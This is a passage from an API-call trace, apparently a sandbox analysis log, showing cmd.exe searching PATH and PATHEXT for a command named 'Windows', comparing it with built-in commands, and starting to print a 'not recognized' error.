fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.813] GetLastError () returned 0x2 [0231.813] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.813] GetLastError () returned 0x2 [0231.813] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.813] GetLastError () returned 0x2 [0231.813] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.813] GetLastError () returned 0x2 [0231.813] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.814] GetLastError () returned 0x2 [0231.814] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.814] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.815] GetLastError () returned 0x2 [0231.815] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.815] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92ceb0 [0231.815] FindClose (in: hFindFile=0x20b0f92ceb0 | out: hFindFile=0x20b0f92ceb0) returned 1 [0231.815] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.815] GetLastError () returned 0x2 [0231.815] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.816] GetLastError () returned 0x2 [0231.816] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.816] GetLastError () returned 0x2 [0231.816] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.816] GetLastError () returned 0x2 [0231.816] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.817] GetLastError () returned 0x2 [0231.817] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.817] GetLastError () returned 0x2 [0231.817] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.817] GetLastError () returned 0x2 [0231.817] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.818] GetLastError () returned 0x2 [0231.818] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.818] GetLastError () returned 0x2 [0231.818] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.818] GetLastError () returned 0x2 [0231.818] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.818] GetLastError () returned 0x2 [0231.818] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.819] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.819] GetLastError () returned 0x2 [0231.819] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.819] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.819] GetLastError () returned 0x2 [0231.819] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.819] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.819] GetLastError () returned 0x2 [0231.819] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.820] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.820] GetLastError () returned 0x2 [0231.820] ??_V@YAXPEAX@Z () returned 0x1 [0231.820] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0231.822] malloc (_Size=0xffce) returned 0x20b0fa70920 [0231.822] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0231.822] malloc (_Size=0xffce) returned 0x20b0fa80900 [0231.822] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0231.823] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.823] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.823] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.823] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.823] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.823] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.823] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.823] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.823] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.823] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.824] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.824] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.824] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.824] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.824] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.824] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.824] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.824] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.824] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.824] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.824] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.824] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.824] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.824] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.824] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.824] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.824] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.824] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.824] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.824] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.824] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.824] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.824] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.824] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.824] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.824] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.824] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.824] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.825] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.825] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.825] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.825] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.825] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.825] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.825] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.825] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.825] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.825] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.825] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.825] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.825] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.825] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.825] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.825] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.825] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.825] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.825] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.825] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.825] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.825] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.825] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.825] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.825] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.825] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.825] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.826] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.826] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.826] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.826] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.826] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.826] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.826] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.826] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.826] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.826] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.826] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.826] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.826] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.826] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.826] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.826] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.826] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.826] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.826] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.826] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0231.826] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0231.826] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0231.826] ??_V@YAXPEAX@Z () returned 0x1 [0231.827] GetProcessHeap () returned 0x20b0f920000 [0231.827] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0231.827] GetProcessHeap () returned 0x20b0f920000 [0231.827] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xba) returned 0x20b0f957310 [0231.827] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0231.827] malloc (_Size=0xffce) returned 0x20b0fa80900 [0231.828] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0231.828] GetProcessHeap () returned 0x20b0f920000 [0231.828] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0231.829] SetErrorMode (uMode=0x0) returned 0x0 [0231.829] SetErrorMode (uMode=0x1) returned 0x0 [0231.829] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0231.829] SetErrorMode (uMode=0x0) returned 0x1 [0231.829] GetProcessHeap () returned 0x20b0f920000 [0231.829] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0231.830] GetProcessHeap () returned 0x20b0f920000 [0231.830] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0231.830] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0231.830] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0231.830] GetProcessHeap () returned 0x20b0f920000 [0231.830] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947a50 [0231.830] GetProcessHeap () returned 0x20b0f920000 [0231.830] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0231.830] GetProcessHeap () returned 0x20b0f920000 [0231.830] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0231.830] GetProcessHeap () returned 0x20b0f920000 [0231.830] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0231.830] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0231.830] GetProcessHeap () returned 0x20b0f920000 [0231.830] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947370 [0231.830] GetProcessHeap () returned 0x20b0f920000 [0231.830] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947370, Size=0x7e) returned 0x20b0f956910 [0231.830] GetProcessHeap () returned 0x20b0f920000 [0231.830] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956910) returned 0x7e [0231.830] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.830] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d270 [0231.831] FindClose (in: hFindFile=0x20b0f92d270 | out: hFindFile=0x20b0f92d270) returned 1 [0231.831] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.831] GetLastError () returned 0x2 [0231.831] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.831] GetLastError () returned 0x2 [0231.831] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.832] GetLastError () returned 0x2 [0231.832] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.832] GetLastError () returned 0x2 [0231.832] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.832] GetLastError () returned 0x2 [0231.832] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.832] GetLastError () returned 0x2 [0231.832] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.833] GetLastError () returned 0x2 [0231.833] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.833] GetLastError () returned 0x2 [0231.833] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.833] GetLastError () returned 0x2 [0231.833] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.833] GetLastError () returned 0x2 [0231.833] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.833] GetLastError () returned 0x2 [0231.833] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.833] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.834] GetLastError () returned 0x2 [0231.834] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.834] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d150 [0231.834] FindClose (in: hFindFile=0x20b0f92d150 | out: hFindFile=0x20b0f92d150) returned 1 [0231.834] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.834] GetLastError () returned 0x2 [0231.834] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.834] GetLastError () returned 0x2 [0231.834] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.835] GetLastError () returned 0x2 [0231.835] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.835] GetLastError () returned 0x2 [0231.835] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.835] GetLastError () returned 0x2 [0231.835] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.835] GetLastError () returned 0x2 [0231.835] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.835] GetLastError () returned 0x2 [0231.835] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.836] GetLastError () returned 0x2 [0231.836] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.836] GetLastError () returned 0x2 [0231.836] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.836] GetLastError () returned 0x2 [0231.836] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.836] GetLastError () returned 0x2 [0231.836] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.836] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.836] GetLastError () returned 0x2 [0231.836] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.837] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.837] GetLastError () returned 0x2 [0231.837] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.837] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.837] GetLastError () returned 0x2 [0231.837] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.837] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.837] GetLastError () returned 0x2 [0231.837] ??_V@YAXPEAX@Z () returned 0x1 [0231.838] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.838] GetFileType (hFile=0x54) returned 0x2 [0231.838] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0231.838] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0231.838] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.838] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0231.839] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized 